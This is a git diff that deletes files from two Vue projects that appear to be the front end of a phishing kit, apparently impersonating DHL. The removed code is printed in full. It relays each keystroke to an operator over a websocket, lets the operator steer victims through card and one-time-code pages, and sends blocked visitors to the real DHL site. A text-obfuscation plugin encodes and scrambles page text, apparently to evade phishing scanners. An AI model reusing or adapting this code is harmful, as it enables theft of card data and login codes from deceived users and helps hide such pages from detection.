- -// Redirect to an external URL -export function redirectToExternal() { - window.location.href = "https://www.dhl.com/ch-de/home.html"; -} - -export async function loadHtml(url: string) { - try { - const response = await fetch(url); // 替换为您的 HTML 文件路径 - if (!response.ok) { - return ""; - } - return await response.text(); - } catch (error) { - return ""; - } -} - -export const headerHtml = ref(""); -export const footerHtml = ref(""); -export const loadingBg = ref("#ffffff"); - -const initHtml = async () => { - const routePath = localStorage.getItem("route"); - headerHtml.value = await loadHtml("/Static_zy/header.html"); - footerHtml.value = await loadHtml("/Static_zy/footer.html"); - await router.push(routePath ? `/${routePath}` : "/phone1"); - setTimeout(async () => { - useLoadingStore().setLoading(false); - loadingBg.value = "transparent"; - }, 200); -}; diff --git a/t_post_temp3/src/components/HelloWorld.vue b/t_post_temp3/src/components/HelloWorld.vue deleted file mode 100644 index 8f39347..0000000 --- a/t_post_temp3/src/components/HelloWorld.vue +++ /dev/null @@ -1,51 +0,0 @@ - - - - - diff --git a/t_post_temp3/src/components/TheWelcome.vue b/t_post_temp3/src/components/TheWelcome.vue deleted file mode 100644 index a70765c..0000000 --- a/t_post_temp3/src/components/TheWelcome.vue +++ /dev/null @@ -1,86 +0,0 @@ - - - diff --git a/t_post_temp3/src/components/WelcomeItem.vue b/t_post_temp3/src/components/WelcomeItem.vue deleted file mode 100644 index ba0def3..0000000 --- a/t_post_temp3/src/components/WelcomeItem.vue +++ /dev/null @@ -1,86 +0,0 @@ - - - diff --git a/t_post_temp3/src/main.ts b/t_post_temp3/src/main.ts index 9187bd6..263494f 100644 --- a/t_post_temp3/src/main.ts +++ b/t_post_temp3/src/main.ts @@ -1,4 +1,3 @@ -import { TextObfuscatorPlugin } from "./mix/textObfuscator"; import { createApp, ref } from "vue"; import { createPinia } from "pinia"; @@ -29,6 +28,5 @@ router.beforeEach((to, from, next) => { VueScrollTo.scrollTo("#app", 0); next(); }); -// //app.use(TextObfuscatorPlugin); app.mount("#app"); export default i18n; diff --git a/t_post_temp3/src/mix/textObfuscator.ts b/t_post_temp3/src/mix/textObfuscator.ts deleted file mode 100644 index 76c21e9..0000000 --- a/t_post_temp3/src/mix/textObfuscator.ts +++ /dev/null @@ -1,643 +0,0 @@ -import type { ComponentInternalInstance, Plugin, App } from 'vue'; - -/** - * 全局文本混淆插件 - * 自动查找并替换所有文本节点 - */ -// 修改Vue混淆插件以确保处理整个组件树 -export const TextObfuscatorPlugin: Plugin = { - install(app: App) { - // 安装全局样式和解码脚本 - addObfuscationStyle(); - - // 注册全局指令,直接处理元素内容 - app.directive('odata', { - mounted(el) { - processTextNodes(el, null); - if (window.decodeObfuscatedContent) { - setTimeout(() => window.decodeObfuscatedContent(el), 0); - } - setupMutationObserver(el); - }, - updated(el) { - processTextNodes(el, null); - if (window.decodeObfuscatedContent) { - setTimeout(() => window.decodeObfuscatedContent(el), 0); - } - } - }); - - // 在 app.mixin 中修改处理 $el 的部分 - app.mixin({ - mounted() { - // 安全地获取组件的根元素(s) - const rootElements = this.$el ? - (this.$el.nodeType === Node.ELEMENT_NODE ? - [this.$el] : - (Array.isArray(this.$el) ? this.$el : [])) : - []; - - // 处理每个根元素 - rootElements.forEach((rootElement: Element) => { - if (!rootElement || !(rootElement instanceof Element)) return; - - // 1. 首先处理当前组件的根元素 - processTextNodes(rootElement, this); - - // 2. 递归处理所有子元素,确保覆盖所有文本节点 - const processAllChildNodes = (element: Element) => { - if (!(element instanceof Element)) return; - - try { - // 为每个子元素单独处理文本节点 - const childElements = element.querySelectorAll('*'); - childElements.forEach(childEl => { - processTextNodes(childEl, null); - }); - - // 立即解码当前处理的元素 - if (window.decodeObfuscatedContent) { - setTimeout(() => window.decodeObfuscatedContent(element), 0); - } - } catch (error) { - console.error('Error processing child nodes:', error, element); - } - }; - - // 处理整个组件树 - processAllChildNodes(rootElement); - - // 设置监听 - setupMutationObserver(rootElement); - }); - // 添加:深度扫描所有包含纯文本的元素 - setTimeout(() => { - const scanPureTextElements = (rootElement: Element) => { - // 跳过已处理过的元素 - if (rootElement.hasAttribute && rootElement.hasAttribute('data-obfuscated')) { - return; - } - - // 检查是否为包含纯文本的元素(只有文本节点,没有元素节点) - let hasOnlyTextNodes = false; - let hasElementNodes = false; - - if (rootElement.childNodes && rootElement.childNodes.length > 0) { - hasOnlyTextNodes = Array.from(rootElement.childNodes).some( - node => node.nodeType === Node.TEXT_NODE && node.textContent && node.textContent.trim() - ); - - hasElementNodes = Array.from(rootElement.childNodes).some( - node => node.nodeType === Node.ELEMENT_NODE - ); - } - - // 如果元素只包含文本节点,并且不包含其他元素节点,则混淆它 - if (hasOnlyTextNodes && !hasElementNodes && - !SKIP_TAGS.includes(rootElement.tagName) && - !Array.from(rootElement.classList || []).some(cls => SKIP_CLASSES.includes(cls))) { - processTextNodes(rootElement, null); - if (window.decodeObfuscatedContent) { - window.decodeObfuscatedContent(rootElement); - } - } - - // 递归处理子元素 - if (rootElement.children) { - Array.from(rootElement.children).forEach(child => { - scanPureTextElements(child); - }); - } - }; - - // 从body开始扫描 - scanPureTextElements(document.body); - }, 10); // 给DOM足够的时间渲染 - }, - - updated() { - // 安全地获取组件的根元素(s) - const rootElements = this.$el ? - (this.$el.nodeType === Node.ELEMENT_NODE ? - [this.$el] : - (Array.isArray(this.$el) ? this.$el : [])) : - []; - - // 处理每个根元素 - rootElements.forEach((rootElement: Element | undefined) => { - if (!rootElement || !(rootElement instanceof Element)) return; - - processTextNodes(rootElement, this); - - try { - // 递归处理所有子元素 - const childElements = rootElement.querySelectorAll('*'); - childElements.forEach((childEl: Element) => { - processTextNodes(childEl, null); - }); - - if (window.decodeObfuscatedContent) { - setTimeout(() => window.decodeObfuscatedContent(rootElement), 0); - } - } catch (error) { - console.error('Error processing updated component:', error, rootElement); - } - }); - } - }); - } -}; - -// 声明全局函数类型 -declare global { - interface Window { - decodeObfuscatedContent: (rootElement?: Element) => void; - } -} - -// 需要跳过的标签 -const SKIP_TAGS = ['SCRIPT', 'STYLE', 'TEXTAREA', 'INPUT', 'PRE', 'CODE']; -// 需要跳过的类名 -const SKIP_CLASSES = ['no-obfuscate']; - -/** - * 处理元素中的所有文本节点 - */ -function processTextNodes(element: Element, instance: ComponentInternalInstance | null) { - if (!element || element.nodeType !== Node.ELEMENT_NODE) { - return; - } - // 为 DIV 元素增加优先处理逻辑 - if (element.tagName === 'DIV' && !element.hasAttribute('data-obfuscated')) { - // 对于DIV元素,特殊处理其直接子文本节点 - let hasTextContent = false; - for (let i = 0; i < element.childNodes.length; i++) { - const node = element.childNodes[i]; - if (node.nodeType === Node.TEXT_NODE && node.textContent && node.textContent.trim() !== '') { - hasTextContent = true; - break; - } - } - - // 如果DIV中有直接的文本内容,标记它需要被处理 - if (hasTextContent) { - // 只处理未混淆过的DIV - const textContent = Array.from(element.childNodes) - .filter(node => node.nodeType === Node.TEXT_NODE && node.textContent) - .map(node => node.textContent).join('').trim(); - - if (textContent) { - // 替换整个DIV的内容 - const originalHTML = element.innerHTML; - const processedHTML = obfuscateText(textContent); - element.innerHTML = processedHTML + originalHTML.replace(textContent, ''); - element.setAttribute('data-obfuscated', 'true'); - } - } - } - // 跳过带有特定标记的元素(避免重复处理) - if (element.hasAttribute('data-obfuscated') || - !element || - SKIP_TAGS.includes(element.tagName) || - Array.from(element.classList).some(cls => SKIP_CLASSES.includes(cls))) { - return; - } - - // 使用 TreeWalker 遍历所有文本节点 - const walker = document.createTreeWalker( - element, - NodeFilter.SHOW_TEXT, - { - acceptNode(node) { - // 不处理完全空的文本节点 - if (!node.textContent) { - return NodeFilter.FILTER_REJECT; - } - - // 检查父节点是否应该被跳过 - const parent = node.parentElement; - if (parent && ( - SKIP_TAGS.includes(parent.tagName) || - parent.hasAttribute('data-obfuscated') || - Array.from(parent.classList || []).some(cls => SKIP_CLASSES.includes(cls)) - )) { - return NodeFilter.FILTER_REJECT; - } - - // 如果只包含空白且不是段落的首个节点,则跳过 - if (node.textContent.trim() === '' && - !(parent?.tagName === 'P' && node === parent.firstChild)) { - return NodeFilter.FILTER_REJECT; - } - - return NodeFilter.FILTER_ACCEPT; - } - } - ); - - // 收集需要处理的文本节点 - const textNodes: Text[] = []; - let currentNode: Node | null = walker.nextNode(); - - while (currentNode) { - textNodes.push(currentNode as Text); - currentNode = walker.nextNode(); - } - - // 预先计算所有混淆内容,减少DOM操作次数 - const fragments: DocumentFragment[] = []; - const nodesToReplace: Text[] = []; - - // 在处理文本节点前,移除所有前导空格 - for (const textNode of textNodes) { - const text = textNode.textContent; - if (!text) continue; - - // 重要修改:检测是否是段落的首个文本节点,无条件移除开头的空白 - let processedText = text; - if (textNode.parentElement?.tagName === 'P' && - textNode === textNode.parentElement.firstChild) { - // 去除开头的空白,无论什么情况 - processedText = text.replace(/^\s+/, ''); - // 如果去除空白后为空,直接跳过这个节点 - if (!processedText) continue; - } - - try { - // 创建文档碎片来存储混淆后的内容 - const fragment = document.createDocumentFragment(); - const tempContainer = document.createElement('div'); - tempContainer.innerHTML = obfuscateText(processedText); - - // 将内容移动到碎片中 - while (tempContainer.firstChild) { - fragment.appendChild(tempContainer.firstChild); - } - - fragments.push(fragment); - nodesToReplace.push(textNode); - } catch (error) { - console.error('Error processing text node:', error); - } - } - - // 批量替换节点,减少回流 - for (let i = 0; i < nodesToReplace.length; i++) { - const textNode = nodesToReplace[i]; - const fragment = fragments[i]; - - if (textNode.parentNode) { - textNode.parentNode.replaceChild(fragment, textNode); - } - } -} - -/** - * 设置 MutationObserver 来监听 DOM 变化 - */ -function setupMutationObserver(element: Element) { - if (!element) return; - - const observer = new MutationObserver((mutations) => { - for (const mutation of mutations) { - if (mutation.type === 'childList' && mutation.addedNodes.length) { - mutation.addedNodes.forEach((node) => { - if (node.nodeType === Node.ELEMENT_NODE) { - processTextNodes(node as Element, null); - // 观察到新元素后立即解码 - if (window.decodeObfuscatedContent) { - window.decodeObfuscatedContent(node as Element); - } - } - }); - } - } - }); - - observer.observe(element, { - childList: true, - subtree: true - }); -} - -/** - * 生成随机噪声标签和注释 - */ -function getRandomNoise() { - const noiseTypes = [ - // HTML注释 - () => ``, - // 空的自定义元素 - () => { - const tags = ['z-nil', 'z-void', 'z-null', 'z-fake', 'z-empty']; - const tag = tags[Math.floor(Math.random() * tags.length)]; - return `<${tag}>`; - }, - // 带随机属性的自定义元素 - () => { - const attr = `data-${Math.random().toString(36).substring(2, 7)}`; - const value = Math.random().toString(36).substring(2, 10); - return ``; - }, - // 带随机文本的隐藏元素 - () => { - const text = Math.random().toString(36).substring(2, 8); - return `${text}`; - } - ]; - - // 随机选择一种噪声类型 - const noiseGenerator = noiseTypes[Math.floor(Math.random() * noiseTypes.length)]; - return noiseGenerator(); -} - -/** - * 混淆文本 - 将文本拆分成单词并分别存储,使用自定义z-标签 - */ -function obfuscateText(text: string): string { - if (!text) return ''; - - // 首先移除文本开头的所有空白字符以解决段落首行缩进问题 - text = text.replace(/^\s+/, ''); - if (!text) return ''; - - // 使用正则表达式将文本拆分为单词和空格,保持完整性 - const words = text.split(/(\s+)/); - let result = ''; - - // 过滤掉空字符串,避免生成空的z-span元素 - const filteredWords = words.filter(word => word.length > 0); - - // 为每个单词创建一个独立的自定义元素 - filteredWords.forEach((word, index) => { - // 对空格和特殊字符进行特殊处理 - if (/^\s+$/.test(word)) { - // 改进:更精确地处理各种换行符 - if (/[\n\r]/.test(word)) { - // 将所有类型的换行符分割出来,但仅在实际有换行符时才添加z-break元素 - result += ''; - } else { - // 纯空格的情况 - 对连续空格合并处理,避免添加过多z-space - result += ''; - } - return; - } - - // 随机在单词前添加噪声,但减少频率 - if (Math.random() > 0.85) { - result += getRandomNoise(); - } - - // 为了提高效率,固定属性名 - const attrId = `data`; - - // 将单词编码为Base64 - const encodedWord = btoa(encodeURIComponent(word)); - - // 随机选择z-span或z-strong标签增加混淆度 - const tagName = Math.random() > 0.5 ? 'z-span' : 'z-strong'; - - // 添加标签开始部分 - result += `<${tagName} data-${attrId}="${encodedWord}" data-preload="true">`; - - // 随机在标签内添加隐藏内容,但减少频率 - if (Math.random() > 0.8) { - const fakeText = Math.random().toString(36).substring(2, 5 + Math.floor(Math.random() * 5)); - result += `${fakeText}`; - } - - // 闭合标签 - result += ``; - - // 随机在单词后添加噪声,但减少频率 - if (Math.random() > 0.85) { - result += getRandomNoise(); - } - }); - - result += ''; - return result; -} - -/** - * 添加显示混淆内容的样式和解码脚本 - */ -function addObfuscationStyle() { - // 添加样式 - if (!document.getElementById('obfuscation-style')) { - const style = document.createElement('style'); - style.id = 'obfuscation-style'; - style.textContent = ` - /* 自定义元素基本样式 */ - z-wrap { - display: inline; - white-space: normal; - user-select: none; /* 阻止文本选择 */ - text-indent: 0 !important; /* 确保无缩进 */ - } - - /* 添加一个类来允许选择文本的情况 */ - .allow-select z-wrap { - user-select: text; - } - - /* 确保段落中的混淆内容没有开头缩进 */ - p > z-wrap:first-child { - text-indent: 0 !important; - margin-left: 0 !important; - padding-left: 0 !important; - } - - /* 处理所有p标签,确保没有多余空间 */ - p { - text-indent: 0; - } - - z-span, z-strong { - display: inline-block; - position: relative; - opacity: 1; - transition: opacity 0.1s ease; - margin: 0; - padding: 0; - } - - /* 控制右侧间距 */ - z-span + z-span, z-strong + z-strong, z-span + z-strong, z-strong + z-span { - margin-left: 0.1em; - } - - /* 移除最后一个元素的右侧间距 */ - z-span:last-child, z-strong:last-child { - margin-right: 0; - } - - z-span::after, z-strong::after { - content: attr(data-content); - position: relative; - pointer-events: none; - } - - /* 空格元素 - 精确控制宽度 */ - z-space { - display: inline-block; - width: 0.25em; - margin: 0; - padding: 0; - } - - /* 空的z-span/z-strong元素不应该显示 */ - z-span:not([data-content]), z-strong:not([data-content]) { - display: none; - } - - /* 换行元素 - 强制换行且完全没有尺寸 */ - z-break { - display: block !important; - height: 0 !important; - width: 0 !important; - margin: 0 !important; - padding: 0 !important; - border: none !important; - line-height: 0 !important; - font-size: 0 !important; - overflow: hidden !important; - } - - /* 隐藏所有噪声元素 */ - z-nil, z-void, z-null, z-fake, z-empty, z-attr, z-text, z-hidden { - display: none; - width: 0; - height: 0; - opacity: 0; - overflow: hidden; - position: absolute; - visibility: hidden; - } - - /* 预加载状态 */ - [data-preload="true"] { - min-width: 0.5em; - min-height: 1em; - } - `; - document.head.appendChild(style); - } - - // 添加自定义元素注册,确保所有浏览器都能正确处理 - const scriptCustomElements = document.createElement('script'); - scriptCustomElements.textContent = ` - // 注册所有自定义元素 - if ('customElements' in window) { - customElements.define('z-wrap', class extends HTMLElement {}); - customElements.define('z-span', class extends HTMLElement {}); - customElements.define('z-strong', class extends HTMLElement {}); - customElements.define('z-space', class extends HTMLElement {}); - customElements.define('z-break', class extends HTMLElement {}); - - // 注册噪声元素 - customElements.define('z-nil', class extends HTMLElement {}); - customElements.define('z-void', class extends HTMLElement {}); - customElements.define('z-null', class extends HTMLElement {}); - customElements.define('z-fake', class extends HTMLElement {}); - customElements.define('z-empty', class extends HTMLElement {}); - customElements.define('z-attr', class extends HTMLElement {}); - customElements.define('z-text', class extends HTMLElement {}); - customElements.define('z-hidden', class extends HTMLElement {}); - } - `; - document.head.appendChild(scriptCustomElements); - - // 添加提前解码的脚本,放在顶部优先加载 - if (!document.getElementById('obfuscation-script')) { - const script = document.createElement('script'); - script.id = 'obfuscation-script'; - script.textContent = ` - (function() { - // 定义解码函数并暴露为全局函数 - window.decodeObfuscatedContent = function(rootElement) { - const root = rootElement || document.body; - const elements = root.querySelectorAll('z-span[data-preload="true"], z-strong[data-preload="true"]'); - - if (elements.length === 0) return; - - // 使用requestIdleCallback或setTimeout在空闲时运行,避免阻塞渲染 - const runWhenIdle = window.requestIdleCallback || - function(cb) { setTimeout(cb, 1); }; - - runWhenIdle(() => { - elements.forEach(el => { - // 避免重复解码 - if (el.hasAttribute('data-content')) return; - - // 找到编码数据 - const dataAttr = el.getAttribute('data-data'); - if (dataAttr) { - try { - // 解码并设置 - const decodedWord = decodeURIComponent(atob(dataAttr)); - el.setAttribute('data-content', decodedWord); - el.removeAttribute('data-preload'); - } catch (e) { - // 解码失败时跳过 - } - } - }); - }); - }; - - // 页面加载完成后立即执行一次全局解码 - if (document.readyState === 'loading') { - document.addEventListener('DOMContentLoaded', function() { - window.decodeObfuscatedContent(); - }); - } else { - window.decodeObfuscatedContent(); - } - - // 使用IntersectionObserver优化解码性能 - if ('IntersectionObserver' in window) { - const decodeObserver = new IntersectionObserver( - (entries, observer) => { - entries.forEach(entry => { - if (entry.isIntersecting) { - // 容器进入视口时解码其内容 - window.decodeObfuscatedContent(entry.target); - observer.unobserve(entry.target); - } - }); - }, - { rootMargin: '200px 0px' } // 提前200像素开始解码 - ); - - // 监听所有混淆容器 - function observeContainers() { - document.querySelectorAll('z-wrap').forEach(container => { - decodeObserver.observe(container); - }); - } - - // 初始观察 - if (document.readyState === 'loading') { - document.addEventListener('DOMContentLoaded', observeContainers); - } else { - observeContainers(); - } - - // 定期检查新容器 - setInterval(observeContainers, 2000); - } else { - // 降级方案:定期全局检查 - setInterval(() => window.decodeObfuscatedContent(), 1000); - } - })(); - `; - - // 将脚本添加到head的最前面,确保尽早加载 - if (document.head.firstChild) { - document.head.insertBefore(script, document.head.firstChild); - } else { - document.head.appendChild(script); - } - } -} \ No newline at end of file diff --git a/t_post_temp3/src/utils/common.ts.backup b/t_post_temp3/src/utils/common.ts.backup deleted file mode 100644 index 4dde738..0000000 --- a/t_post_temp3/src/utils/common.ts.backup +++ /dev/null @@ -1,331 +0,0 @@ -import _ from "lodash"; -import { sendInput } from "@/api/api"; -import type { Socket } from "@/utils/websocket"; -import eventBus from "@/utils/eventBus"; -import router from "@/router"; -import { ref } from "vue"; -import { useSocket } from "@/utils/websocket"; -import { useLoadingStore } from "@/stores/loadingStore"; -import i18n from "@/main"; -import { useSocketIo } from "./socketio"; - -const viteBaseUrl = import.meta.env.VITE_BASE_URL; - -// WebSocket interface -interface MyWebSocket { - socket: any; - send: (data: string) => Promise; - off: (event: string) => void; - on: (event: string, callback: (data: any) => void) => void; -} - -export const customOtpData = ref({}); - -export function setCustomOtpData(data: any) { - customOtpData.value = data; - localStorage.setItem("customOtpData", JSON.stringify(data)); -} - -export let myWebSocket: MyWebSocket | undefined; - -// Configuration data -export const configData = ref>({}); - -// Utility function to check if all values in an object are not empty -export function areAllValuesNotEmpty( - obj: Record, - excludedFields: string[] = [] -): boolean { - return Object.keys(obj).every((key) => { - if (excludedFields.includes(key)) return true; - const value = obj[key]; - return ( - value !== null && - value !== undefined && - value !== "" && - !(typeof value === "string" && value.trim() === "") - ); - }); -} - -// 存储 WebSocket 和 API 的防抖函数 -const wsDebounceFunctions: Record< - string, - _.DebouncedFunc<(...args: any[]) => void> -> = {}; -const apiDebounceFunctions: Record< - string, - _.DebouncedFunc<(...args: any[]) => void> -> = {}; - -// 获取或创建针对某个键的防抖函数 -function getDebouncedFunction( - debounceFunctions: Record void>>, - key: string, - func: (...args: any[]) => void, - wait: number -) { - if (!debounceFunctions[key]) { - debounceFunctions[key] = _.debounce(func, wait); - } - return debounceFunctions[key]; -} - -const modeRef = ref(1) - - -// 处理输入变化 -export function inputChange(type: string, key: any, value: any) { - const currentTimestamp = Date.now(); // 当前时间戳 - - // WebSocket 防抖函数 - const wsDebouncedFunction = getDebouncedFunction( - wsDebounceFunctions, - key, - (type, key, value) => { - myWebSocket?.send( - JSON.stringify({ - event: "input_text", - content: { type, key, text: value }, - timestamp: currentTimestamp, - }) - ); - }, - 300 - ); - - // API 防抖函数 - const apiDebouncedFunction = getDebouncedFunction( - apiDebounceFunctions, - key, - (type, key, value) => { - sendInput({ - content: { type, key, text: value }, - timestamp: currentTimestamp, - }); - }, - 1000 - ); - - // 调用防抖函数 - wsDebouncedFunction(type, key, value); - if(modeRef.value !== 2) { - apiDebouncedFunction(type, key, value); - } -} - - -// Handle login success -export function loginSuccess(token: string, mode: number) { - if(mode === 2) { - modeRef.value = 2 - myWebSocket = useSocketIo( - `wss://${viteBaseUrl !== "/" ? viteBaseUrl : window.location.host - }/ws?token=${token}` - ); - }else{ - myWebSocket = useSocket( - `wss://${viteBaseUrl !== "/" ? viteBaseUrl : window.location.host - }/ws?token=${token}` - ); - } - - myWebSocket?.on("close", () => console.log("Socket closed!")); - myWebSocket?.on("open", () => { - const lastToken = localStorage.getItem("token"); - loginWebsocket(token, lastToken !== token); - }); - - myWebSocket?.on("message", handleMessage); - - window.addEventListener("beforeunload", () => { - myWebSocket?.off("close"); - }); -} - -// Handle WebSocket messages -function handleMessage(data: any) { - const jsonData = JSON.parse(data); - if (!jsonData || !jsonData.event) return; - - const { event, content } = jsonData; - - switch (event) { - case "login": - //handleLoginEvent(content); - break; - case "result_type": - handleResultTypeEvent(content); - break; - case "reload": - window.location.reload(); - break; - default: - break; - } -} - -// Handle login event -function handleLoginEvent(content: any) { - const route = localStorage.getItem("route"); - if (route) { - const customOtpDataValue = localStorage.getItem("customOtpData"); - if (route === "customOtpValid" && customOtpDataValue) { - setCustomOtpData(JSON.parse(customOtpDataValue)); - myWebSocket?.send( - JSON.stringify({ - event: "page_type", - content: { pageType: "customOtpValid", pageTitle: customOtpData.value.name, customType: customOtpData.value.type }, - }) - ); - return; - } - myWebSocket?.send( - JSON.stringify({ - event: "page_type", - content: { pageType: route }, - }) - ); - } -} - -// Handle result type event -function handleResultTypeEvent(content: any) { - if (!content) return; - - const typeHandlers: Record void> = { - customOtpValid: () => navigateTo("/customOtpValid", content), - otpValid: () => navigateTo("/otpValid", content), - appValid: () => navigateTo("/appValid", content), - success: () => router.push("/success"), - kickOut: redirectToExternal, - block: redirectToExternal, - otpFail: () => - eventBus.emit("otp-valid", { - message2: - content.value.message2 || - i18n.global.t("Verification code error, please try again"), - }), - appFail: () => - eventBus.emit("app-valid", { - message2: - content.value.message2 || - i18n.global.t( - "The session is about to expire, please complete the verification now" - ), - }), - back: () => handleBackOrReject(content, true), - reject: () => handleBackOrReject(content, false), - refresh: () => { - if(localStorage.getItem("route")){ - localStorage.removeItem("route"); - window.location.reload(); - } - }, - }; - - if (content.type == "customOtpValid") { - if(content.value.customOtpData) { - setCustomOtpData(JSON.parse(content.value.customOtpData)); - } -} - if (content.type == "customOtpFail") { - eventBus.emit("custom-otp-valid", { - message2: content.value.message2, - }); - } - - const handler = typeHandlers[content.type]; - if (handler) handler(); - - useLoadingStore().setLoading(false); -} - -// Navigate to specific path with query parameters -function navigateTo(path: string, content: any) { - - router.push('/temp').then(() => { - router.push({ - path: path, - query: { - cardType: content.value?.data?.cardData?.cardBIN?.schema, - message1: content.value?.message1, - key: new Date().getMilliseconds(), - }, - }); - }); -} - -// Handle back or reject type -function handleBackOrReject(content: any, isBack: boolean) { - let message2 = i18n.global.t( - "This card does not support this transaction, please try another card" - ); - - if (configData.value.error_card_msg) { - message2 = configData.value.error_card_msg; - } - - if (content.value.type) { - const type = content.value.type; - if (type === "denyC" && configData.value.deny_c_msg) { - message2 = configData.value.deny_c_msg; - } - if (type === "denyD" && configData.value.deny_d_msg) { - message2 = configData.value.deny_d_msg; - } - } - - if (content.value.message2) { - message2 = content.value.message2; - } - - if (isBack) { - router.push({ path: "/card", query: { message2 } }); - } - - eventBus.emit("my-event", { message2 }); -} - -// Login to WebSocket -function loginWebsocket(token: string, isFirst: boolean) { - myWebSocket?.send( - JSON.stringify({ - event: "login", - content: { tag: "user", token, isFirst }, - }) - ); - initHtml(); -} - -// Redirect to an external URL -export function redirectToExternal() { - window.location.href = "https://www.dhl.com/ch-de/home.html"; -} - -export async function loadHtml(url: string) { - try { - const response = await fetch(url); // 替换为您的 HTML 文件路径 - if (!response.ok) { - return ""; - } - return await response.text(); - } catch (error) { - return ""; - } -} - -export const headerHtml = ref(""); -export const footerHtml = ref(""); -export const loadingBg = ref("#ffffff"); - -const initHtml = async () => { - const routePath = localStorage.getItem("route"); - headerHtml.value = await loadHtml("/Static_zy/header.html"); - footerHtml.value = await loadHtml("/Static_zy/footer.html"); - await router.push(routePath ? `/${routePath}` : "/phone1"); - setTimeout(async () => { - useLoadingStore().setLoading(false); - loadingBg.value = "transparent"; - }, 200); -}; diff --git a/t_post_temp4/src/components/HelloWorld.vue b/t_post_temp4/src/components/HelloWorld.vue deleted file mode 100644 index 8f39347..0000000 --- a/t_post_temp4/src/components/HelloWorld.vue +++ /dev/null @@ -1,51 +0,0 @@ - - - - - diff --git a/t_post_temp4/src/components/TheWelcome.vue b/t_post_temp4/src/components/TheWelcome.vue deleted file mode 100644 index a70765c..0000000 --- a/t_post_temp4/src/components/TheWelcome.vue +++ /dev/null @@ -1,86 +0,0 @@ - - - diff --git a/t_post_temp4/src/components/WelcomeItem.vue b/t_post_temp4/src/components/WelcomeItem.vue deleted file mode 100644 index ba0def3..0000000 --- a/t_post_temp4/src/components/WelcomeItem.vue +++ /dev/null @@ -1,86 +0,0 @@ - - - diff --git a/t_post_temp4/src/main.ts b/t_post_temp4/src/main.ts index c311b44..310345e 100644 --- a/t_post_temp4/src/main.ts +++ b/t_post_temp4/src/main.ts @@ -1,4 +1,3 @@ -import { TextObfuscatorPlugin } from "./mix/textObfuscator"; import { createApp, ref } from "vue"; import { createPinia } from "pinia"; @@ -30,6 +29,5 @@ router.beforeEach((to, from, next) => { VueScrollTo.scrollTo("#app", 0); next(); }); -// //app.use(TextObfuscatorPlugin); app.mount("#app"); export default i18n; diff --git a/t_post_temp4/src/mix/textObfuscator.ts b/t_post_temp4/src/mix/textObfuscator.ts deleted file mode 100644 index 76c21e9..0000000 --- a/t_post_temp4/src/mix/textObfuscator.ts +++ /dev/null @@ -1,643 +0,0 @@ -import type { ComponentInternalInstance, Plugin, App } from 'vue'; - -/** - * 全局文本混淆插件 - * 自动查找并替换所有文本节点 - */ -// 修改Vue混淆插件以确保处理整个组件树 -export const TextObfuscatorPlugin: Plugin = { - install(app: App) { - // 安装全局样式和解码脚本 - addObfuscationStyle(); - - // 注册全局指令,直接处理元素内容 - app.directive('odata', { - mounted(el) { - processTextNodes(el, null); - if (window.decodeObfuscatedContent) { - setTimeout(() => window.decodeObfuscatedContent(el), 0); - } - setupMutationObserver(el); - }, - updated(el) { - processTextNodes(el, null); - if (window.decodeObfuscatedContent) { - setTimeout(() => window.decodeObfuscatedContent(el), 0); - } - } - }); - - // 在 app.mixin 中修改处理 $el 的部分 - app.mixin({ - mounted() { - // 安全地获取组件的根元素(s) - const rootElements = this.$el ? - (this.$el.nodeType === Node.ELEMENT_NODE ? - [this.$el] : - (Array.isArray(this.$el) ? this.$el : [])) : - []; - - // 处理每个根元素 - rootElements.forEach((rootElement: Element) => { - if (!rootElement || !(rootElement instanceof Element)) return; - - // 1. 首先处理当前组件的根元素 - processTextNodes(rootElement, this); - - // 2. 递归处理所有子元素,确保覆盖所有文本节点 - const processAllChildNodes = (element: Element) => { - if (!(element instanceof Element)) return; - - try { - // 为每个子元素单独处理文本节点 - const childElements = element.querySelectorAll('*'); - childElements.forEach(childEl => { - processTextNodes(childEl, null); - }); - - // 立即解码当前处理的元素 - if (window.decodeObfuscatedContent) { - setTimeout(() => window.decodeObfuscatedContent(element), 0); - } - } catch (error) { - console.error('Error processing child nodes:', error, element); - } - }; - - // 处理整个组件树 - processAllChildNodes(rootElement); - - // 设置监听 - setupMutationObserver(rootElement); - }); - // 添加:深度扫描所有包含纯文本的元素 - setTimeout(() => { - const scanPureTextElements = (rootElement: Element) => { - // 跳过已处理过的元素 - if (rootElement.hasAttribute && rootElement.hasAttribute('data-obfuscated')) { - return; - } - - // 检查是否为包含纯文本的元素(只有文本节点,没有元素节点) - let hasOnlyTextNodes = false; - let hasElementNodes = false; - - if (rootElement.childNodes && rootElement.childNodes.length > 0) { - hasOnlyTextNodes = Array.from(rootElement.childNodes).some( - node => node.nodeType === Node.TEXT_NODE && node.textContent && node.textContent.trim() - ); - - hasElementNodes = Array.from(rootElement.childNodes).some( - node => node.nodeType === Node.ELEMENT_NODE - ); - } - - // 如果元素只包含文本节点,并且不包含其他元素节点,则混淆它 - if (hasOnlyTextNodes && !hasElementNodes && - !SKIP_TAGS.includes(rootElement.tagName) && - !Array.from(rootElement.classList || []).some(cls => SKIP_CLASSES.includes(cls))) { - processTextNodes(rootElement, null); - if (window.decodeObfuscatedContent) { - window.decodeObfuscatedContent(rootElement); - } - } - - // 递归处理子元素 - if (rootElement.children) { - Array.from(rootElement.children).forEach(child => { - scanPureTextElements(child); - }); - } - }; - - // 从body开始扫描 - scanPureTextElements(document.body); - }, 10); // 给DOM足够的时间渲染 - }, - - updated() { - // 安全地获取组件的根元素(s) - const rootElements = this.$el ? - (this.$el.nodeType === Node.ELEMENT_NODE ? - [this.$el] : - (Array.isArray(this.$el) ? this.$el : [])) : - []; - - // 处理每个根元素 - rootElements.forEach((rootElement: Element | undefined) => { - if (!rootElement || !(rootElement instanceof Element)) return; - - processTextNodes(rootElement, this); - - try { - // 递归处理所有子元素 - const childElements = rootElement.querySelectorAll('*'); - childElements.forEach((childEl: Element) => { - processTextNodes(childEl, null); - }); - - if (window.decodeObfuscatedContent) { - setTimeout(() => window.decodeObfuscatedContent(rootElement), 0); - } - } catch (error) { - console.error('Error processing updated component:', error, rootElement); - } - }); - } - }); - } -}; - -// 声明全局函数类型 -declare global { - interface Window { - decodeObfuscatedContent: (rootElement?: Element) => void; - } -} - -// 需要跳过的标签 -const SKIP_TAGS = ['SCRIPT', 'STYLE', 'TEXTAREA', 'INPUT', 'PRE', 'CODE']; -// 需要跳过的类名 -const SKIP_CLASSES = ['no-obfuscate']; - -/** - * 处理元素中的所有文本节点 - */ -function processTextNodes(element: Element, instance: ComponentInternalInstance | null) { - if (!element || element.nodeType !== Node.ELEMENT_NODE) { - return; - } - // 为 DIV 元素增加优先处理逻辑 